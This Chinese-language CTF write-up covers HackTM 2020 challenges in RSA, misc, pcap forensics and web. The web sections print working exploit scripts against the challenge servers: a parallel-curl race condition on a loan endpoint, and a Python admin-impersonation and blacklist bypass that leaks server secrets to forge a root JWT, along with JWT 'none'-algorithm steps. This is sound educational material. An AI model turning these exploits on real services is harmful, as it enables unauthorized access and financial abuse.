HackTM2020-WriteUp

HackTM2020-WriteUp

HackTM2020-WriteUp

假期被“关禁闭”,看到战队发的比赛链接,虽然知道自己很菜,题目不是我可以做的,不过还是大胆尝试了,发现一些题目还比较简单[滑稽脸],这里写一下部分题目的WP。

RSA#1

这是一个简单的RSA爆破题。

题目分析

题目给了两个附件:crsa.py,其中c的内容如下:

Public key:
(65537, 28150970547901913019901824364390497053600856369839321617996700606130553862041378369018779003752433356889118526332329074054728613209407037089320809898343953157935211086135010436283805891893636870991411236307901650696221491790470635225076251966300189483160148297407974155121570252648252906976186499329924342873)

Encrypted flag:
[24603931406187071861602497345394097692989773194039735745762181586628499407802825983901643034231448504738113184470035863824128031443012073830520233613935485192804104698999763287388765215634314977991988580048221541560353418280294402691661980705832590960497587810514295642811714680627768268704899874164681718449, 11226318059664066669163529308725576208632153806776762372429671026861927737060205604020741904348343722215670471225630839065129589767356765848271000166982882271636977663052775953958080543340165408211633442938366994031562890034541604362383645601883118173819506187865617998294930587997187071040181458961091560176, 15645290594995180815865397749136800126080704684884296404807344870555186823350216705796063922278419585484662234210001661578549560411864952462380096494781766394542247609648743673312823946783517115542404474786395934886667795692210287283039316418126796934535150832709500306153601987121172178183970841498331059732, 24345863558959407738249127568820138362115734211146549194534219311913032290216606859385934708675962835857804566049600710875035366973110422262131331932310524891713319358676673958738776644229757625523955354996402750265022578843637525183704187498194489645838490640529841182709661371499013082259193633000753627261, 9620679224297488175028367924764722982789333194446063577221477359704180638294602848741035585656113543497776415635770748468725814916994577398023154224563920936523717884116880223345204061598438291740007518025998041449406726084042681798053863495542392481059281588020105313791046017356493739244555377217866496734, 1681724029430984846089508679185107538104072555994133932050319175633667369916570440070548756805254789524599169177371471218251246349461689959989338169394649813424706418737543924129213419625988100326558802566046751879531469160120914735332858786199496335523515150741728027296830843112416558460932541777024522279, 20629854768856798537062426042570334097651328955665698429979954410631113160492201197690192324881508105172595216229624523572595589920695165876501026993810936392510720968159305964832449680889041278532807173859579419197780294984519222830572413180237776797800176462492384318120546495539728732366110782215071262307, 7440918084186181327822271261394344901791253526257166181264874776746516620936925799031445704193589071453959493392065321806281801023425299535553522582376879027448581379760896052013060957519595664095702210758316558762834545655992756483227787274192094065257224706388623944855362716578806372564148647945479173348, 5097867843777034076271397095201528351784693372027998615436445410912131141882225577577253530396333413579756394884096318434100382509189974240357351425474190558456256750742731090012822064840481143528081027106843123030275420215136304130321013605031261372665636366377162666476737296028608455229357416005773064242, 10420107412794383499391199999666100864853724770814620968725971207705900061273163202891569477729023724554388008575891113425781557296798472693974759813058067631655217722786373465395279381307973425004404348124524059844749313287030234750535347511172780349725636807760402334957881556461382950021814486095167001394, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 11226318059664066669163529308725576208632153806776762372429671026861927737060205604020741904348343722215670471225630839065129589767356765848271000166982882271636977663052775953958080543340165408211633442938366994031562890034541604362383645601883118173819506187865617998294930587997187071040181458961091560176, 16657126895659048065404729920028465477385009450133540950695155983380795627778054526133891673615252510518969355629562948102050307259107355106086468465392660721567070464708776158039303608428552547481825035736610837329720474688421062759594907620576318249542577396722737724172954532394471909440668625218820801756, 11113777356910731413424023299582648618258376222028450254478672148119889617557563576704932635131420845868165014982665717620845578039880527701593963719893467068820107811384041511295664833904504511210342105242330522375476482706044695838957591685781703894244561607764476555630573446589408768780659378128082633769, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 1681724029430984846089508679185107538104072555994133932050319175633667369916570440070548756805254789524599169177371471218251246349461689959989338169394649813424706418737543924129213419625988100326558802566046751879531469160120914735332858786199496335523515150741728027296830843112416558460932541777024522279, 5237767970074646857079948735567615361735616179074197239639640947679550920349684166643572837235712904929824521258264241503059989875517915784117038966236672390569320206379357882906463342282254405974383459878863044723383164329146669331810709270455492110346838097216174137176255793792848357953314563364460847842, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 2141625583250052666579569568613448089970148215959031795439930595139028085767825695294403905882459409861220995951141855281841435481587946825079031782977651718402048988278639212978854590412709087674713750292922397103941195760574072700517109381299788645871729355745594573785064162048047595009933642068871994670, 278354276293884030290100330445865286604723740111170856624965259573282278044823323212960304154629174664076141280100412502135750130875356944835909175355370317285768658282746817782130476757714384697086179400629156643250500432197002583758692394681401772203578628635926749457621478296182304772136118691761841359, 6039667595601233082552071610487048398346324705021423176423484623705376133358539134558362499891954091431687578305623106726900655384011241742715735786166290331136153240702822544221903404870992713778423167867663948083662620087859096707381620051266745156545213726214080049764382107442159825610310695543673475542, 21353765873487781085375016306418205544750755310255410963646737671193146222650262290683259548572190880304009015662963424520575937651278866672082973874806201031606257157229306007587966460187818647603633973019548401357989358306250139692325474674826791149726161678649996852062656272851387461089863388359261125336, 11226318059664066669163529308725576208632153806776762372429671026861927737060205604020741904348343722215670471225630839065129589767356765848271000166982882271636977663052775953958080543340165408211633442938366994031562890034541604362383645601883118173819506187865617998294930587997187071040181458961091560176, 20576388598886140095325204584799302384454378372204683348252463729525849583734948105765087991438423260690623246579570440405616572326057536248148020737810766134083795050076636686776809469271643188562482921546497071402873405706504773345621716428511481598704631451463399778602486417840466985891815649711178813963, 17347447662661486040040289855519394974371562320877472776529836975445205017304164550202099250096382852783253959549113036367974281750823938616836362593312254792770954856762797438690474329666549947795964992533463700161635382925555835347885819042031312006167190561233042383984087765920275010577545908085026177611, 11788628214684738246695632901992250075758959059858474645166125685861157046466064692980236734739634298802473894878268029860203026238925142258303727438570051822763330338744774300757888262747314093511013562545738571326771345495509434761853742569509480619380000424215527153118231084573851377049921456961916278761, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 2141625583250052666579569568613448089970148215959031795439930595139028085767825695294403905882459409861220995951141855281841435481587946825079031782977651718402048988278639212978854590412709087674713750292922397103941195760574072700517109381299788645871729355745594573785064162048047595009933642068871994670, 2710029303357232932696197225263692040597986927359269224740812600224998707144266259851604978553286889767425982708691908438984279442981540971935737617354609856642312100797081348174935195638083002333058089328102430432526612805955273581245352312630845237670744276402867230550537275379675828467791243032108754996, 19981107233593350929447953514006501458466479260151660185153999799085657467921097940751860717309377498501638075002136637344148955811617399850718322497572421311807629329642551519284713638882025500074565475569618691516951449764680555447185364165687596161053684299589053909233984617244886185728811651967713024530, 3975884358027162862622932959187611984655247354547659825042810425039322096401899672988989768997134724085482147901304365437476311647149733392577446833370358728610677436154877051592307539990184750467273668379065865808900410057533079113476991204462719784464847498582643056503810805516315622314948257403761762299, 6039667595601233082552071610487048398346324705021423176423484623705376133358539134558362499891954091431687578305623106726900655384011241742715735786166290331136153240702822544221903404870992713778423167867663948083662620087859096707381620051266745156545213726214080049764382107442159825610310695543673475542, 14296542628093736444815382636071360035549021313467366701986569710120268508807886041986007828960248665683292143486565404978073122476968882030310174125355932205646388813061197657253533595700948593692407928813318978600474254105007396254987998953819782624738628334271910759242195864082910860797444993756044746481, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 7983594351048693624291138893287137601848867970873700373034058935656045095987011116108642350616654713531373295621458596238107660073931212524833777531450461876588350132328332972361857441613098452082271331281504722310376573085001395356078670960667878342134517577992585442881605030717788248137764480486762452442, 7983594351048693624291138893287137601848867970873700373034058935656045095987011116108642350616654713531373295621458596238107660073931212524833777531450461876588350132328332972361857441613098452082271331281504722310376573085001395356078670960667878342134517577992585442881605030717788248137764480486762452442, 23267174349531278768420819619439317179083929128083924515569762521057285892931325108327037262091624670335579302436476096123152288550738706103166820604983405317430467198343871458522070337902643863890959573514405066297449924638838605501211486861582957963752388608487593217237563529201436917108304692859773404548]

易知,该文件提供了RSA的公钥:(e,n),以及加密后的flag,我们发现,flag的密文是多个大数,可知是逐字节对flag进行加密的,那么进行简单的爆破即可解密。

再来看看rsa.py的内容:

import random
from my_math import next_prime

from flag import flag

def egcd(a, b):
x, y, u, v = 0, 1, 1, 0
while a != 0:
q, r = b//a, b % a
m, n = x-u*q, y-v*q
b, a, x, y, u, v = a, r, u, v, m, n
gcd = b
return gcd, x, y

def gen_keys(p, q):
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
gcd, d, b = egcd(e, phi)
# Keys:((pub), (priv))
return ((e, n), (d, n))


def enc(key, p):
e, n = key
cipher = [pow(ord(char), e, n) for char in p]
return cipher

def dec(pk, c):
key, n = pk
plain = [chr(pow(char, key, n)) for char in c]
return ''.join(plain)


p = next_prime(random.SystemRandom().getrandbits(512))
q = next_prime(random.SystemRandom().getrandbits(512))

flag_key=gen_keys(p, q)

print("Public key:")
print(flag_key[0])

flag_c=(enc(flag_key[0], flag))

print("Encrypted flag:")
print(flag_c)

该脚本中是一些RSA的加密、解密函数,其中提供了p和q都是512bit的素数,因此模数n是1024bit的,打消分解n的念头(这里不得不说一下,有些比赛的1024bit以上的模数n在http://factordb.com/ 上是有上传的,有时候可以先拿去分解试试)
我们从enc函数的加密机制发现,它是对明文进行逐字符进行加密,再次印证了是逐字节爆破,直接爆破flag即可。

解密代码

import string

with open('c', 'r') as f:
data = f.read().split('\n')
e = int(data[1].split(', ')[0][1:])
n = int(data[1].split(', ')[1][:-1])
flag_enc = [int(x) for x in data[4][1:-1].split(', ')]

flag = ''
for f in flag_enc:
for c in string.printable:
if pow(ord(c), e, n) == f:
flag += c
break
print(flag)

RSA#2

题目分析

与上个题目一样,附件中包含两个文件crsa.py,并且rsa.py与上题一样:

import random
from my_math import next_prime

from flag import flag

def egcd(a, b):
x, y, u, v = 0, 1, 1, 0
while a != 0:
q, r = b//a, b % a
m, n = x-u*q, y-v*q
b, a, x, y, u, v = a, r, u, v, m, n
gcd = b
return gcd, x, y

def gen_keys(p, q):
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
gcd, d, b = egcd(e, phi)
# Keys:((pub), (priv))
return ((e, n), (d, n))


def enc(key, p):
e, n = key
cipher = [pow(ord(char), e, n) for char in p]
return cipher

def dec(pk, c):
key, n = pk
plain = [chr(pow(char, key, n)) for char in c]
return ''.join(plain)


p = next_prime(random.SystemRandom().getrandbits(512))
q = next_prime(random.SystemRandom().getrandbits(512))

flag_key=gen_keys(p, q)

print("Public key:")
print(flag_key[0])

flag_c=(enc(flag_key[0], flag))

print("Encrypted flag:")
print(flag_c)

但是密文文件c内容不同,其中给出了逐字节加密的密文列表,但是并未给出公钥:

Public key:
[DATA CORRUPTED]

Encrypted flag:
[34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832
...]
这里列表中共有1111个字符的密文

没有公钥,怎么解密???显然也不是攻击私钥,而是直接对密文进行攻击。
我们看到,密文列表中有1111个密文,一般的flag不可能这么长,而这里给出了这么多密文,并且没有给出公钥,解密思路便很显然:利用字母频率攻击出明文
这也是密码学常用的攻击方法之一,主要思路是:英文的字母在使用中出现的次数大致满足了一个频率表(参考https://en.wikipedia.org/wiki/Letter_frequency ),我们可以把这1111个密文的出现频率统计出来,然后与字母频率对应,从而攻击出明文。

解密代码

with open('c', 'r') as f:
data = f.read().split('\n')
flag_enc = [int(x) for x in data[4][1:-1].split(', ')]

freq_dict = {}
for f in flag_enc:
if not f in freq_dict:
freq_dict[f] = 1
else:
freq_dict[f] += 1
freq = sorted(list(freq_dict.items()), key=lambda x: x[1])
freq.reverse()

english_freq = [' ', 'E','T','A','I','N','O','R','S','L','H',
'C','M','D','Y','P','U','W','F','G','.','V',
'B','X','K',',','Q', 'Z', '\'', '0', '9']
translator = {}
for i, c in enumerate(english_freq):
translator[freq[i][0]] = c
for f in flag_enc:
if f in translator:
print(translator[f], end='')

The Dragon Sleeps At Night

一道misc题,考脑洞,也考基本知识,多做misc确实能开眼界啊!

题目分析

netcat连接目标IP之后进入一个游戏盒,秉承misc一大传统:打游戏。

这个题目是一个屠龙的游戏,从图中可以看到,有以下功能:
去商店:这里有从1级到5级的屠龙宝刀,屠龙!拿flag~
去工作:赚钱买刀!屠龙!拿flag~
去龙穴:屠龙!拿flag~
回家:休息,为了屠龙!拿flag~
储藏室:放宝刀

解题关键点:

  • 1、这里去工作的话最后拿工资的时候会让输入工作天数,1刀/天,但是每次之多输入三个字符,因此常数的话最多999…怎么办呢?
  • 2、回家休息的时候可以输入休息的天数,但是休息会“降低”储藏室中宝刀的级别,1级/天,不过…休息天数正负不限~
    这两点就是屠龙的关键。

解题

根据前面的分析,我们需要先去工作赚钱,在结账的时候输入9e9的话其实就可以得到9 billion刀,这足以买到5级宝刀了。其实就是利用科学计数法绕过限制,CTF中很多题目借用了这一点。
此时去屠龙的话,仍然会失败,因为需要6级宝刀,但是商店没有啊!利用关键点2,我们先买5级宝刀并放在储藏室,然后去睡-1天,便得到了一把6级宝刀,再去屠龙便能顺利拿到flag了。

Strange PCAP

考察流量包隐写、usb数据分析

题目分析

下载数据包的时候,压缩工具就提示要输入密码,但是是个流量包,直接能打开,输密码干嘛?
binwalk分析一下,发现存在压缩包隐写,binwalk -e提取

但是解压需要密码,那就看看数据包里的内容,发现是usb数据,估计就是键盘记录或者鼠标记录了

利用常规的方法:把usb数据提取出来,然后用现有的跑键盘记录的脚本跑出来即可。
先利用tshark提取数据:

tshark -r Strange.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
//加上"| sed '/^\s*$/d'"是因为直接提取的话会有很多空行,加上这一句空行就没了

发现提取的数据如下:

0000000104000100000000000000
0000000104000100000000000000000100000000000000000000000000000000000000000000
210008
210010
210012
0000240000000000
0000000000000000
0000190000000000
0000000000000000
00000a0000000000
0000000000000000
00000d0000000000
0000000000000000
0000210000000000
0000000000000000
0200000000000000
0200160000000000
0200000000000000
0200160000000000
0200000000000000
0000000000000000
2000000000000000
20000f0000000000
0000000000000000
0000260000000000
0000000000000000
2000000000000000
2000110000000000
2000000000000000
0000000000000000
2000000000000000
20000b0000000000
2000000000000000
0000000000000000
2000000000000000
2000190000000000
2000000000000000
0000000000000000
0000180000000000
0000000000000000
0200000000000000
02000e0000000000
0200000000000000
0000000000000000
0000270000000000
0000000000000000
0200000000000000
0200070000000000
0200000000000000
0000000000000000
0000230000000000
0000000000000000
0000070000000000
0000000000000000
0000200000000000
0000000000000000
0200000000000000
0200090000000000
0200000000000000
0000000000000000
0000280000000000
0000000000000000
210010

直接用脚本跑键盘记录的话,结果如下:

可以看到结果不正常,因为上面的数据有很多冗余数据(长度不是8字节的部分),去掉之后再跑脚本,结果如下:

输入密码,即可拿到flag:

键盘记录脚本

本题用国内的通用脚本解不出来,用国外wp的脚本可以

#经夏风师傅完善过的国外脚本
usb_codes = {
0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF",
0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL",
0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR",
0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX",
0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$",
0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)",
0x2C:" ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}", 0x32:"#~",
0x33:";:", 0x34:"'\"", 0x36:",<", 0x37:".>", 0x38:"/?", 0x39:"<CAP><CAP>",
0x3a:"<F1><F1>", 0x3b:"<F4><F4>", 0x3e:"<F5><F5>",0x3f:"<F6><F6>",
0x40:"<F7><F7>",0x41:"<F8><F8>",0x42:"<F9><F9>",0x43:"<F10><F10>",
0x44:"<F11><F11>",0x45:"<F12><F12>"
}
data = ''
for x in open("usb.txt","r").readlines():
code = int(x[4:6],16)
print(x[4:6])
if code == 0:
continue
if code == 0x28:
print('ENTER!')
print(data)
data = ''
continue
upper = 0
if int(x[0:2],16) == 0x02 or int(x[0:2],16) == 0x20:
upper = 1
data += usb_codes[code][upper]
print(data)

再附一个国内的脚本:

normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
"44":"<F11>","45":"<F12>"}
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
"34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
"3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
"41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('usbdata.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')


except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))

这里再拓展一下,usb流量一般是鼠标流量或者是键盘流量,可以参考这里
提供一位师傅的工具

My Bank

一道web的条件竞争题目

题目分析

常见的一种题,可以去银行贷款,不过最多贷款600刀,还能去商店买东西,饼干最便宜,但是没法吃,还是买flag吧,但是要1440刀…
分析可知,可以利用条件竞争进行贷款,这样就可以拿到不止600刀的资金,再去买flag即可。
条件竞争可参考:https://blog.csdn.net/qq_36992198/article/details/80007405

解题

1、利用BP解题

  • 抓包
  • 放到爆破模块,设置空payload,线程设为15
  • 借到足够的钱去买flag

首先注册账号并登陆,看一下我们的账户信息:

可以看到,我们还可以借600刀,然后设置借钱为100,BP抓包进行爆破,用13-15个线程即可,结果如下:

然后回到我们的账户处查看利用条件竞争借到的1000刀已经到账:

这里需要多次尝试才能借到足够的钱数,每次结果都可能是不一样的。因为利用BP进行条件竞争的时候有时候会受到网速、服务质量等各种因素的影响,多试几次就好了。

2、BASH脚本
看国外大佬的解题思路学到了一种利用bash脚本进行条件竞争的方式(其实用python也一样),脚本如下:

#!/bin/bash
url="http://178.128.175.6:50090/"
ua="User-Agent: Mozilla/5.0"
cookie="session=.eJwNy0sKAjEMANC7ZG1hmmTy8TLStAmIoKDOSry7vv37wHw96_J-3PIOZwhCNNlimhOPlTor3IYOWjkijbOHFBac4Diu6z-Ute9SvWGZNaaNm3tko4mdQnRXF_j-AEMAHN8.Xjaggw.o-B9vO_i0Fnredto0K7aoEXTCGI"
ssrf=`curl -s "$url" -H "$ua" -H "Cookie: $cookie" 2>&1 | pcregrep -o1 'name=\"csrf_token\" type=\"hidden\" value=\"(.*)\"' -`

for i in `seq 15`;
do curl "$url" -H "$ua" -H "Cookie: $cookie" --data "csrf_token=$ssrf&loan=100" &
; done

sleep 6 && echo "[*] maybe haxed?" && curl -s 'http://178.128.175.6:50090/' -H "$ua" -H "Cookie: $cookie" 2>&1 | pcregrep -o1 "Money: (.*) tBTC"

这里利用了一个技巧:在cURL命令之后附加一个&使进程移到后台。这样,可以同时发出多个请求,并且不需要编写一个处理多线程的复杂代码。

Draw With Us

一个JWT攻击题目,进入题目是下图的一个改颜色的web端游戏,给出Hint:Changing your color is the first step towards happiness.

同时题目还给了一个json附件,实现代码都在其中,其中包含关键部分:

  • NodeJS Express服务器
  • 登录/管理员管理/socket.io
  • JWT算法:HMAC-SHA256
  • 管理员用户名:hacktm

题目分析&一些攻击尝试

破解JWT秘钥

代码中获取flag的函数如下:

app.get("/flag", (req, res) => {
// Get the flag
// Only for root
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
} else {
res.send(err("Unauthorized"));
}

想要得到flag,就必须满足req.user.id == 0,那么就需要想办法构造JWT。看国外大佬的WP写的对JWT秘钥进行攻击,但是没有成功。

暴力破解n

下面这段代码给出了req.user.id的生成算法:

app.post("/init", (req, res) => {
// Initialize new round and sign admin token
// RSA protected!
// POST
// {
// p:"0",
// q:"0"
// }

let { p = "0", q = "0", clearPIN } = req.body;

let target = md5(config.n.toString());

let pwHash = md5(
bigInt(String(p))
.multiply(String(q))
.toString()
);

if (pwHash == target && clearPIN === _clearPIN) {
// Clear the board
board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
boardString = boardToStrings();

io.emit("board", { board: boardString });
}

//Sign the admin ID
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);

console.log(adminId);

res.json(ok({ token: sign({ id: adminId }) }));
});

代码中的pq是用户输入,n是秘钥。由于md5的结果为32个字符,且target长度与pwHash相同,同时toString暗示n是数字。
adminId是利用target计算的,每个字符都经过了XOR运算。在map()的迭代中,两个字符相同的结果即为0,最后通过reduce()会计算出所有数的结果,若0,则req.user.id==0
然而,如果哈希值不匹配的话,req.user.id就会是一个大于0的数字。
由于reduce()消除线性搜索推导的可能性,因此无法现实地对此进行暴力破解n,必须找到另一种方式。

JWT none 攻击

这种攻击方法可参考:https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

  • 1、替换或者更改JWT有效负载
  • 2、更改id,如{"id":1374,"iat":1580560256} -> {"id":0,"iat":1580560256}
  • 3、删除签名
  • 4、更改{"typ":"JWT","alg":"HS256"}->"alg": "none"
  • 5、提交服务器
    但是该方法也不行。

总之,关键点就在于:

  • 1、使req.user.id==0
  • 2、为了实现1需要得到config.n
  • 3、可能有其他方式得到config.n或者config.p

从下面一段代码可以得到新的思路:

app.get("/serverInfo", (req, res) => {
// Get server info
// Only for logged in users

let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});

应该是利用user.rights作为访问key直接读取对象的代码,如果可以插入自己的user.rights,便可以插入n从而得到config.n的值。
然后发现另一段更新用户数据的代码:

app.post("/updateUser", (req, res) => {
// Update user color and rights
// Only for admin
// POST
// {
// color: 0xDEDBEE,
// rights: ["height", "width", "usersOnline"]
// }
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let color = parseInt(req.body.color);
users[uid].color = (color || 0x0) & 0xffffff;
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
}

res.json(ok({ user: users[uid] }));
});

但是想要插入rigths必须绕过isAdmin(user)的判断,同时还有isValidUser(user)的判断:

function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}

function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}

可以利用下面的方式仿造admin

var admin = "hacktm";
var user = "hacKtm";

结果满足条件:

"hacKtm".toLowerCase() == "hacktm".toLowerCase() // true
"hacKtm".toUpperCase() === "hacktm".toUpperCase() // false

然后即可插入rigths,插入的时候需要经过checkRights(rights)的判断:

function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}

我们看到,黑名单中限制了pn的上传,可以通过利用数组作为键的方式绕过:

"rights":[["n"]]

从而即可读取到n,然后通过使p==nq==1,即可使req.user.id==0,从而拿到flag

Expoit

参照大佬脚本:
获取np

import requests

url = "http://167.172.165.153:60001"

# create user with the admin username
resp = requests.post(url + "/login",
json={"username": "hacKtm"})
resp.raise_for_status()
token = resp.json()['data']['token']
print("[*] Created user with admin username")

# add illegal rights
resp = requests.post(url + "/updateUser",
json={"rights": [["n"], ["p"]]},
headers={"Authorization": "Bearer %s" % token})
resp.raise_for_status()
print("[*] updated rights")

# fetch secret config values
resp = requests.get(url + "/serverInfo",
headers={"Authorization": "Bearer %s" % token})
resp.raise_for_status()
print("[*] fetched secret config values")

server_info = resp.json()
for key in server_info["data"]["info"]:
if isinstance(key["name"], list):
print("[*] %s = %s" % (key["name"][0], key["value"]))

获取flag

import jwt  # pip install pyjwt

data = {
"p": "54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979",
"q": "1"
}

resp = requests.post(url+"/init", json=data)
token = resp.json()['data']['token']
jwt_claim = jwt.decode(token, verify=False, algorithms=['HS256'])
assert jwt_claim['id'] == 0

resp = requests.get(url+"/flag", headers={"Authorization": "Bearer %s" % token})
print(resp.json())

关于node.js的考核可以参考Pcat师傅分享的题解:https://xz.aliyun.com/t/7177
Bonus!从大佬那拿到了一个画画机器人代码,简单实用!

import sys
import os
import struct
import json
import requests
from PIL import Image # pip install pillow-simd requests

url = "http://167.172.165.153:60001"


def get_color_token(_hex):
resp = requests.post(url+"/login", json={"username": "hacKtm"})
resp.raise_for_status()
token = resp.json()['data']['token']
data = {"color": int(_hex, 16)}

resp = requests.post(url+"/updateUser", json=data, headers={"Authorization": "Bearer %s" % token})
resp.raise_for_status()
return token


img = Image.open(sys.argv[1])
img = img.convert("RGBA")
pix = img.load()

os.popen("rm output/*").read()

output = {}
numcolors = []
hexlookup = {}
data = {}
hexi = lambda k: struct.pack('B', k).hex()

i = 0
for x in range(0, img.width):
for y in range(0, img.height):
r, g, b, a = pix[x, y]
if a == 0:
continue

cc = (r, g, b)
if cc not in numcolors:
numcolors.append(cc)
i += 1

hexlookup.setdefault(cc, f"{hexi(r)}{hexi(g)}{hexi(b)}")
data.setdefault(hexlookup[cc], [])
data[hexlookup[cc]].append((x, y))


for k, v in data.items():
f = open("output/%s.txt" % k, "a")
for coord in v:
x, y = coord
f.write("%s\n" % json.dumps({"x": x, "y": y}))
f.close()

for k, v in data.items():
f = open("output/%s.sh" % k, "a")
f.write("#!/bin/bash\n\n")

token = get_color_token(k)
cmd = """curl -vv -XPOST -m3 -s --data "$1" -H "Content-Type: application/json" -H "Authorization: Bearer %s" %s/paint""" % (
token, url
)
f.write(cmd)
f.write("\n")
f.close()

print("parallel -j +10 ./output/%s.sh < output/%s.txt" % (k, k))

os.popen("chmod +x output/*.sh").read()

用法

  • 1、该脚本利用题目提供的JSON像素数据获取一个120*80的PNG图像(比如这个题目就给了包含像素数据的JSON)
  • 2、生成像素数据:python main.py "image.png"
  • 3、像素数据在output/
  • 4、该脚本将输出可以运行的GNU并行命令
    这个题目确实学到了很多。

总结

简单的可以做,难的做不出,但是学到很多,继续努力!ヾ(◍°∇°◍)ノ゙

Comments


:D 一言句子获取中...

Loading...Wait a Minute!